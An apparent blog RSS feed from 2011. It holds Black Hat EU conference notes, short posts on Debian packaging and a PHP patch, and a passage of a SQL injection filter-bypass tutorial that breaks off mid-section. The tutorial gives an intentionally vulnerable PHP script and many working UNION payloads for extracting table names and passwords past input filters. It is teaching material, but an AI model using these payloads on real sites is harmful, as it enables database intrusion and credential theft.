In this case, the user will be connected to Justin Bieber without any confirmation :-)&lt;br /&gt;
This example is not (?) harmless, but the author said that a lot of URLSchemes are undocumented because they were added for testing purposes ... but still available on prod. Nitesh made a demo about the &quot;skype://&quot; handler forces the user to place a Skype Call. This &quot;payload&quot; is included into BeEF, so a simple XSS vulnerability is enough.&lt;br /&gt;
This is only one of the issue of which developers should care :
&lt;ul&gt;
&lt;li&gt;UI Spoofing inserting a fake URL bar&lt;/li&gt;
&lt;li&gt;Identity deCloaking with a rogue AP / MiTM attack calling &quot;fb://&quot; profile&lt;/li&gt;
&lt;li&gt;Bad SSL implementations&lt;/li&gt;
&lt;li&gt;Push notification abuse&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[app dissection] HTTP Parameter Pollution Vulnerabilities&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Marco Balduzzi&lt;/i&gt;&lt;br /&gt;
Web has evolved from static pages to complex applications, and 60% of the attacks are now web-apps targeted. Everybody knows about injections flaws such as SQL Injections, XSS, CSRF and many tools are available to detect and/or mitigate them. HTTP Parameter Pollution (HPP) is still less known (first presentation was made in 2009).&lt;br /&gt;
HTTP allows parameters to provided multiple times, and depending of the server-side language the parameter precedence is handled differently, so inserting &quot;%26param%3Dvalue&quot; into one of the variable can lead to overriding existing (harcoded) values.&lt;br /&gt;
HPP can also to be used for Cross-Channel pollution, when parameters can be provided from multiple sources (POST, GET, Cookie...). He also gave an example of CSRF token bypass on Yahoo! Mail, and, remember that if parameters are concatenated, it can be very useful to bypass WAF protections ...&lt;br /&gt;  
Marco developed an online tool (python + firefox extension) to analyse websites for HPP vlunerabilities called &lt;a href=&quot;http://papas.iseclab.org/&quot;&gt;PAPAS&lt;/a&gt;. &lt;br /&gt;
Popular websites were analysed (5016 websites in 15 days more than 149 000 unique pages) and found that 30% of them were vulnerable (not necessaraly exploitable). 14% (702) were found as exploitable where injected parameter override existing parameter or accepted as a new one.&lt;br /&gt;
Examples : the main Google site could be manipulated to produce search results different from the intended results, WHO main website to display different content, Facebook share button, AETV online shop to force people buying another product instead of the one they choose. 
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[app dissection] Web applications security payloads&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Andres Riancho&lt;/i&gt;&lt;br /&gt;
This talk was about &lt;a href=&quot;http://w3af.sourceforge.net/&quot;&gt;w3af&lt;/a&gt;. w3af stands for Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. This project is OpenSource (GPLv2), is easily extensible using plugins, and, since 07/2010 have full-time development resources due to Rapid7 sponsoring.&lt;br /&gt;
2 interfaces are available, CLI &amp;amp; GUI.&lt;br /&gt;
Post exploitation in web applications flaws requires to change our mindset, because we are generally restricted to one or few functions (readfile() ...), that's where w3af comes in. The author developped plugins to exploit the read permission to achieve and automate actions on a vulnerable system :
&lt;ul&gt;
&lt;li&gt;Extract users list&lt;/li&gt;
&lt;li&gt;Show established TCP connections&lt;/li&gt;
&lt;li&gt;Try to extract sensitive files (bruteforcing paths / filenames)&lt;/li&gt;
&lt;li&gt;Extract config files (apache, php, htaccess ...)&lt;/li&gt;
&lt;li&gt;Download the source code of the remote web application&lt;/li&gt;
&lt;/ul&gt;
The last one is becoming very powerful because of another plugin : php_sca a static code analyzer which allows to automatically parse dumped source code to find other vulnerabilities such as SQL Injections &amp;amp; OS commanding. It's still in early stage but the demo was very impressive and get applause from the conference room. 
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[app dissection] SAP : Session (fixation) Attacks &amp;amp; Protections&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Raul Siles&lt;/i&gt;&lt;br /&gt;
HTTP is a stateless protocol, so session management have to be implemented into by developers themselves.&lt;br /&gt;
Session Fixation is different from Session Hijacking : in this case the attacker don't have to steal session ID from the victim, but will fix HIS session ID into the victim to get its privileges. The attacker sets up a session with a website, but does not log on. He then tricks a user into log in using the same session ID. As the session gets elevated, both the attacker and victim get the authenticated state.&lt;br /&gt;
The speaker remembers that social engeneering is not the only way to fix session ID on the victim (XSS, SQLi, MiTM ... are also a good way).&lt;br /&gt; Working examples were demonstrated (flaws discovered by the speaker) :
&lt;ul&gt;
&lt;li&gt;Joomla Session Fixation in v1.5 - 1.5.15&lt;/li&gt;
&lt;li&gt;Weblogic, based on a configuration problem (reported live during the talk)&lt;/li&gt;
&lt;li&gt;SAP, using a MiTM attack where users where authenticated with NTLM on HTTP before getting redirected to the HTTPS application (real-case study)&lt;/li&gt;
&lt;/ul&gt;
To conclude : Session ID MUST be renewed every time the privileges level changes.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[keynote] Cyberwar&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Bruce Schneier&lt;/i&gt;&lt;br /&gt;
We have the honor to listen Bruce Schneier talking about Cyberwar, better than a long speach, you can download the keynote &lt;a href=&quot;https://media.blackhat.com/bh-eu-11/Schneier-Keynote/BlackHat-EU-2011-Keynote-Schneier.m4v&quot;&gt;here&lt;/a&gt;.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[workshop] A taste of the latest Samurai Web Testing Framework&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Justin Searle&lt;/i&gt;&lt;br /&gt;
This workshop was directed by Justin Searle one of the founder of Samurai WTF.&lt;br /&gt;
This live CD, based on Ubuntu is a pentest distribution similar to BackTrack but targeted to web applications. Usage of many tools were shown, was interesting but didn't learned a much. However, I've found a good project to contribute :-). 
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[infrastructure rationale] Building Floodgates: Cutting-Edge Denial of Service Mitigation&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speakers : Yuri Gushin / Alex Behar&lt;/i&gt;&lt;br /&gt;
The 2 speakers are researchers in DoS mitigation techniques.&lt;br /&gt;
DoS attacks are becoming prevalent these times, and most of big attacks succeded (Wikileaks, Mastercard ...).&lt;br /&gt;Different types of DoS presented :
&lt;ul&gt;
&lt;li&gt;Layer 3 : Flood of TCP, UDP, ICMP, IGMP packets overloading infrastructure&lt;/li&gt;
&lt;li&gt;Layer 4 : Consuming CPU cycles ... on the device, eg. SYN flood, connections flood ...&lt;/li&gt;
&lt;li&gt;Layer 7 : &quot;Culmination of evil&quot;, attacking applications by trying to consume resources (HTTP page flood, HTTP bandwith consumption, HTTP POST DoS ...)&lt;/li&gt;
&lt;/ul&gt;
DoS mitigation techniques :
&lt;ul&gt;
&lt;li&gt;Static thresholds : setting a max rate, requires regular manual tuning&lt;/li&gt;
&lt;li&gt;Adaptive threshold : attempting the learn real traffic characteristics, which improves accuracy, however, natural traffic peaks may be blocked too.&lt;/li&gt;
&lt;/ul&gt;
More sophisticated detection can be based on using 2-dimensions, for example DNS requests v.s. HTTP requests.&lt;br /&gt;
Some active mitigation techniques were shown : 
&lt;ul&gt;
&lt;li&gt;Challenge response : This wards of clients that don't have a full protocol stack (SYN cookies or requiring JS, Flash ...)&lt;/li&gt;
&lt;li&gt;Session Disruption : Causing the clients to use more resources in the attack that you need to mitigate the attack.&lt;/li&gt;
&lt;li&gt;Tarpitting : Stalling malicious connections.&lt;/li&gt;
&lt;/ul&gt;
Then they presented their new tool : Roboo - HTTP Robot Mitigator (available @ &lt;a href=&quot;http://www.ecl-labs.org&quot;&gt;www.ecl-labs.org&lt;/a&gt;).&lt;br /&gt;
This is a nginx module written in Perl based on a Challenge/Response mechanism, released under an OpenSource licence.&lt;br /&gt; It responds to GET/POST requests from unverified source with a challenge. This challenge is JS or Flash based (optionnaly gzip'ed), to which only a real browser with full HTTP, HTML, JS and/or Flash stack can answer. Then a cookie is set and the traffic is marked as verified.&lt;br /&gt;&lt;br /&gt;
A demo was made attacking a protected website (the attack was made using LOIC - Low Orbit Ion Canon, the tool used to attack Wikileaks), and comparing the pcap with a &quot;real request&quot; made by a browser ... seems to work well.&lt;br /&gt;
The module allows you to provide IP ranges whitelist (in order let, for example, Google Bots indexing your website). 
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[infrastructure rationale] You are Doing it Wrong: Failures in Virtualization Systems&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Claudio Criscione&lt;/i&gt;&lt;br /&gt;
Virtualization aims to save money, make things simple and quick to deploy. Saving money and quick deployment are enemies of security :-)&lt;br /&gt;
Securing the hypervisor is, of course, very important, you must not be able to jump from one VM to another, but securing the management interface is very important too ! And it seems that this part is quite forgotten by vendors. The speaker announce that in 5 man days, he founds 18 &quot;0-days&quot;.&lt;br /&gt;
Even simple bugs like XSS are problematic in virtualisation management interface, he made a demo of one in VMWare vCenter which took 1.5 year to patch ! He also with that introduced VASTO a metasploit module which allow to exploit various flaws in virtualization management interface.&lt;br /&gt;
The next demo was done against VMWare vSphere client using VASTO ... the client maintains a debug logfile containing SOAP Session ID worlwide readable, so you just have to read this file, extract the ID and start the expoit from metasploit to get administrative privileges on the virtualization infrastructure without beeing prompted for any password.&lt;br /&gt;
&lt;br /&gt;
He then introduced VASTOKeeper, a PoC based on apache/mod_security to define which communication is allowed between the management solution and the virtual machines where you can define which actions a user can execute on a virtual infrastructure regardless of his or her authentication level.&lt;br /&gt;It will generate a network configuration file and a mod_security configuration file that will prevent certain actions for propagating from vCenter to ESXi.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;[infrastructure rationale] Monoculture - the other side&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Speaker : Damir Rajnovic&lt;/i&gt;&lt;br /&gt;
This talk was made by Gaus from the Cisco PSIRT, which tried to demonstrate that buying equipement from different vendors can't conduct to improve security.&lt;br /&gt;
He shows examples I didn't approved like that there are a lot of similar flaws in GNU/Debian Linux &amp;amp; Red Hat so that we can conclude that those 2 projects are quite linked and so suggested that using different distributions wouldn't help, and that buying from different vendors should lead to the same result.
&lt;br /&gt;
&lt;br /&gt;
See you next year !&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Some photos (Blackhat &amp;amp; BCN)&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/badge.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/badge_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/kit.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/kit_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/jardin.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/jardin_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/market1.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/market1_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/market2.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/market2_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/tapas.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/tapas_small.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.tuxz.net/blog/images/bheu2011/bheu2011.jpg&quot;&gt;&lt;img src=&quot;http://www.tuxz.net/blog/images/bheu2011/bheu2011_small.jpg&quot; /&gt;&lt;/a&gt;</description>
	<pubDate>lun, 21 mar 2011 20:43:00 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Upgrade to nanoblogger 3.4.2</title>
	<guid>http://www.tuxz.net/blog/archives/2011/02/13/upgrade_to_nanoblogger_3_4_2/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/02/13/upgrade_to_nanoblogger_3_4_2/</link>
	<description>&lt;p&gt;
Upgrade to nanoblogger 3.4.2 done ! :-)&lt;br /&gt;
&lt;/p&gt;</description>
	<pubDate>dim, 13 fév 2011 14:15:13 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Using pbuilder inside OpenVZ Container (/dev/fd/62 issue)</title>
	<guid>http://www.tuxz.net/blog/archives/2011/02/12/using_pbuilder_inside_openvz_container_devfd62/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/02/12/using_pbuilder_inside_openvz_container_devfd62/</link>
	<description>&lt;p&gt;
I'm now building my Debian packages inside an OpenVZ container, 2 days ago I've faced a strange issue while trying to use pbuilder :
&lt;/p&gt;
&lt;pre&gt;
% svn-buildpackage --svn-ignore-new --svn-builder='pdebuild'
Importing layout information via Subversion properties... 
        tagsUrl: svn+ssh://svn.debian.org/svn/pkg-perl/tags/libauth-yubikey-decrypter-perl
        trunkUrl: svn+ssh://svn.debian.org/svn/pkg-perl/trunk/libauth-yubikey-decrypter-perl
        upsTagUrl: svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl
        upsCurrentUrl: svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl/current
Complete layout information:
        buildArea=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area
        origDir=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/tarballs
        tagsUrl=svn+ssh://svn.debian.org/svn/pkg-perl/tags/libauth-yubikey-decrypter-perl
        trunkDir=/home/adedommelin/debian/libauth-yubikey-decrypter-perl/libauth-yubikey-decrypter-perl
        trunkUrl=svn+ssh://svn.debian.org/svn/pkg-perl/trunk/libauth-yubikey-decrypter-perl
        upsCurrentUrl=svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl/current
        upsTagUrl=svn+ssh://svn.debian.org/svn/pkg-perl/branches/upstream/libauth-yubikey-decrypter-perl
fakeroot debian/rules clean || die
dh clean
   dh_testdir
   dh_auto_clean
   dh_clean
/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07 exists, renaming to /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07.obsolete.0.421696468795748
 mkdir -p /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07/lib /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07/t 3 more arguments&gt;
 cp --parents -laf Changes debian/copyright MANIFEST debian/rules debian/compat lib/Auth/Yubikey_Decrypter.pm debian/control META.yml debian/changelog 8 more arguments&gt;
chmod -R u+r+w+X,g+r-w+X,o+r-w+X -- /home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07
/bin/sh -c pdebuild 
/usr/bin/pdebuild: line 39: /dev/fd/62: No such file or directory
Command '/bin/sh -c pdebuild ' failed in '/home/adedommelin/debian/libauth-yubikey-decrypter-perl/build-area/libauth-yubikey-decrypter-perl-0.07', how to continue now?
&lt;/pre&gt;
&lt;p&gt;
It seems that /dev/fd/* aren't created inside a CT, one simple worakround is :
&lt;/p&gt;
&lt;pre&gt;
% sudo ln -s /proc/self/fd /dev 
&lt;/pre&gt;
&lt;br /&gt;
And hop, everything's ok :-)</description>
	<pubDate>sam, 12 fév 2011 10:01:35 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Debian 6.0.0 codename Squeeze is out !</title>
	<guid>http://www.tuxz.net/blog/archives/2011/02/06/debian_6_0_0_codename_squeeze_is_out/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/02/06/debian_6_0_0_codename_squeeze_is_out/</link>
	<description>&lt;p&gt;
After two years of intense work, the Debian project has published a new stable release.&lt;br /&gt;

Some useful links :
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.debian.org/News/2011/20110205a&quot;&gt;Release announcement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.debian.org/releases/squeeze/releasenotes&quot;&gt;Release notes before upgrading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.debian.org/releases/squeeze/debian-installer/&quot;&gt;Installation medias&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

Also take a few minutes to check the &lt;a href=&quot;http://www.debian.org&quot;&gt;Official Website&lt;/a&gt; for the new design.
&lt;/p&gt;</description>
	<pubDate>dim, 06 fév 2011 13:35:21 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Yubikey Squirrelmail Plugin - PHP 5.3 compatibility patch</title>
	<guid>http://www.tuxz.net/blog/archives/2011/01/31/yubikey_squirrelmail_plugin_-_php_5_3_compatibilit/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/01/31/yubikey_squirrelmail_plugin_-_php_5_3_compatibilit/</link>
	<description>&lt;p&gt;
I'm using the Yubikey Squirrelmail Plugin but this one is currently not PHP 5.3 compatible, so I've decided to patch it. &lt;br /&gt;
The following patch has been sent to the development team for inclusion in the trunk.&lt;br /&gt;&lt;br /&gt;
Here is it :
&lt;pre class=&quot;sh_php&quot;&gt;
--- Yubikey.php.orig    2011-01-31 20:54:28.000000000 +0100
+++ Yubikey.php 2011-01-31 20:58:02.000000000 +0100
@@ -314,11 +314,11 @@
                if ( !( $parts = @parse_url( $url ) ) ) return false;
                else {
                        if ( $parts['scheme'] != &quot;http&quot; &amp;amp;&amp;amp; $parts['scheme'] != &quot;https&quot; ) return false;
-                       else if ( isset($parts['host']) &amp;amp;&amp;amp; !eregi( &quot;^[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,4}$&quot;, $parts['host'], $regs ) ) return false;
-                       else if ( isset($parts['user']) &amp;amp;&amp;amp; !eregi( &quot;^([0-9a-z-]|[_])*$&quot;, $parts['user'], $regs ) ) return false;
-                       else if ( isset($parts['pass']) &amp;amp;&amp;amp; !eregi( &quot;^([0-9a-z-]|[_])*$&quot;, $parts['pass'], $regs ) ) return false;
-                       else if ( isset($parts['path']) &amp;amp;&amp;amp; !eregi( &quot;^[0-9a-z/_.@~-]*$&quot;, $parts['path'], $regs ) ) return false;
-                       else if ( isset($parts['query']) &amp;amp;&amp;amp; !eregi( &quot;^[0-9a-z?&amp;amp;=#,]*$&quot;, $parts['query'], $regs ) ) return false;
+                       else if ( isset($parts['host']) &amp;amp;&amp;amp; !preg_match( &quot;/^[0-9a-z]([-.]?[0-9a-z])*.[a-z]{2,4}$/i&quot;, $parts['host'], $regs ) ) return false;
+                       else if ( isset($parts['user']) &amp;amp;&amp;amp; !preg_match( &quot;/^([0-9a-z-]|[_])*$/i&quot;, $parts['user'], $regs ) ) return false;
+                       else if ( isset($parts['pass']) &amp;amp;&amp;amp; !preg_match( &quot;/^([0-9a-z-]|[_])*$/i&quot;, $parts['pass'], $regs ) ) return false;
+                       else if ( isset($parts['path']) &amp;amp;&amp;amp; !preg_match( &quot;/^[0-9a-z\/_.@~-]*$/i&quot;, $parts['path'], $regs ) ) return false;
+                       else if ( isset($parts['query']) &amp;amp;&amp;amp; !preg_match( &quot;/^[0-9a-z?&amp;amp;=#,]*$/i&quot;, $parts['query'], $regs ) ) return false;
                }
                return true;
        }
&lt;/pre&gt;
&lt;/p&gt;</description>
	<pubDate>lun, 31 jan 2011 19:12:38 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: FOSDEM 2011 : D-5 !</title>
	<guid>http://www.tuxz.net/blog/archives/2011/01/30/fosdem_2011__d-5/</guid>
	<link>http://www.tuxz.net/blog/archives/2011/01/30/fosdem_2011__d-5/</link>
	<description>&lt;a href=&quot;http://www.fosdem.org&quot;&gt;&lt;img src=&quot;http://www.fosdem.org/promo/going-to&quot; alt=&quot;I'm going to FOSDEM, the Free and Open Source Software Developers' European Meeting&quot; /&gt;&lt;/a&gt;&lt;br /&gt;and you ?</description>
	<pubDate>dim, 30 jan 2011 14:32:27 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Incident</title>
	<guid>http://www.tuxz.net/blog/archives/2010/12/29/incident/</guid>
	<link>http://www.tuxz.net/blog/archives/2010/12/29/incident/</link>
	<description>&lt;img src=&quot;http://imgs.xkcd.com/comics/incident.png&quot; alt=&quot;incident will be reported&quot; /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Source &lt;a href=&quot;http://xkcd.com/838/&quot;&gt;XKCD&lt;/a&gt;&lt;/i&gt;</description>
	<pubDate>mer, 29 déc 2010 08:39:29 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: SQL Injection - Bypassing filters</title>
	<guid>http://www.tuxz.net/blog/archives/2010/12/15/sql_injection_-_bypassing_filters/</guid>
	<link>http://www.tuxz.net/blog/archives/2010/12/15/sql_injection_-_bypassing_filters/</link>
	<description>For the following examples we'll use this basic vulnerable PHP script:
&lt;pre class=&quot;sh_php&quot;&gt;
// DB connection
$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
 
$result = mysql_query(&quot;SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' &quot;);
 
if($data = @mysql_fetch_array($result))
    echo &quot;Welcome ${data['name']}&quot;;
&lt;/pre&gt;
&lt;br /&gt;
Note: the webapplication displays only the name of the first row of the sql resultset.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Warmup&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
Lets warm up. As you can see the parameter &quot;id&quot; is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1 and 1=0-- -
?id=1 and 1=1-- -
&lt;/pre&gt;
&lt;br /&gt;
You also might want to see all usernames by iterating through limit (x):
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1 or 1=1 LIMIT x,1-- -
&lt;/pre&gt;
&lt;br /&gt;
But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.
&lt;br /&gt;
So you would like to know what the table and column names are and you try the following:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -
&lt;/pre&gt;
&lt;br /&gt;
After you have found interesting tables and its column names you can start to extract data.
&lt;pre name=&quot;sh_sql&quot;&gt;
?id=1 and 1=0 union select null,password,null from users limit 1,1-- -
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Whitespaces, quotes and slashes filtered&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Of course things aren't that easy most time. Now consider the following filter for some extra characters:
&lt;pre class=&quot;sh_php&quot;&gt;
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'&quot;]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
&lt;/pre&gt;
&lt;br /&gt;
As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)
&lt;/pre&gt;
&lt;br /&gt;
Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can't be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take &quot;#&quot; (not urlencoded for better readability).
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#
&lt;/pre&gt;
&lt;br /&gt;
Instead of a quoted string we can use the SQL hex representation of the found table name:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
&lt;/pre&gt;
&lt;br /&gt;
Nice.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Basic keywords filtered&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Now consider the filter additionally checks for the keywords &quot;and&quot;, &quot;null&quot;, &quot;where&quot; and &quot;limit&quot;:
&lt;pre class=&quot;sh_php&quot;&gt;
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'&quot;]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords
&lt;/pre&gt;
&lt;br /&gt;
For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1#
?id=2-1#
&lt;/pre&gt;
&lt;br /&gt;
To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder &quot;null&quot; we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;WHERE alternative&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn't work because ORDER BY needs a space. Another keyword we have left is HAVING.&lt;br /&gt;
First we have a look which databases are available:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#
&lt;/pre&gt;
&lt;br /&gt;
This will definitely fit into 1024 chars, but you can also use database() to get the current database name:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(0),database(),(0))#
&lt;/pre&gt;
&lt;br /&gt;
Lets assume your database name is &quot;test&quot; which hex representation is &quot;0x74657374&quot;. Then we can use HAVING to get all table names associated with the database &quot;test&quot; without using WHERE:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
&lt;/pre&gt;
&lt;br /&gt;
Note that you have to select the column &quot;table_schema&quot; in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&amp;amp;&amp;amp;(table_name)!=(0x7573657273)))#
&lt;/pre&gt;
&lt;br /&gt;
We use &quot;&amp;amp;&amp;amp;&quot; as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:&lt;br /&gt;
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&amp;amp;&amp;amp;(column_name)!=(0x6964)))#
&lt;/pre&gt;
Unfortunately you can't use group_concat() while using HAVING hence the excluding step by step.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Intermediate result&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
What do we need for our injections so far?
&lt;ul&gt;
        &lt;li&gt;keywords: &quot;union&quot;, &quot;select&quot;, &quot;from&quot;,&quot;having&quot;&lt;/li&gt;
        &lt;li&gt;characters: (),._# (&amp;amp; or &quot;and&quot;)&lt;/li&gt;
        &lt;li&gt;String comparing characters like &quot;=&quot; and &quot;!=&quot; can be avoided by using the keywords &quot;like&quot; and &quot;like&quot; or the function strcmp() together with the keyword &quot;not&quot;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Advanced keyword filtering&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Now its getting difficult. The filter also checks for all keywords previously needed:
&lt;pre class=&quot;sh_php&quot;&gt;
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'&quot;]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords
